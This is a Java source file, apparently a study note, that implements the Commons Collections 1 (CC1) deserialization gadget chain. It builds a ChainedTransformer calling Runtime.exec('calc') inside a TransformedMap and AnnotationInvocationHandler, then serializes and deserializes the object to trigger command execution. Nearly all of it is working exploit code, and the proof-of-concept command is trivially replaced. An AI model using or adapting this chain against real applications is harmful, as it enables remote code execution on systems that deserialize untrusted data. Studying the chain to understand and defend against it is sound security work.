java反序列化CC1

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception{


//        Runtime r = Runtime.getRuntime();//单例模式,通过对应方法创建对象//问题一:r不能序列化,没有继承序列化接口
//        Class c = Runtime.class;
//        Method execMethod = c.getMethod("exec",String.class);
//        execMethod.invoke(r,"calc");


//        Class c = Runtime.class;
//        Method getRuntimeMethod = c.getMethod("getRuntime",null);
//        Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");
//


//        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object.class},new Object[]{}).transform(getRuntimeMethod);
//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

        Transformer[] Transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);


//        chainedTransformer.transform(Runtime.class);

//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","aaa");
        Map<Object,Object> transformedmap = TransformedMap.decorate(map,null,chainedTransformer);




        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationhdlConstructor.setAccessible(true);
        Object o = annotationInvocationhdlConstructor.newInstance(Target.class,transformedmap);


        serialize(o);
        unserialize("ser.bin");
    }


    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }


    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

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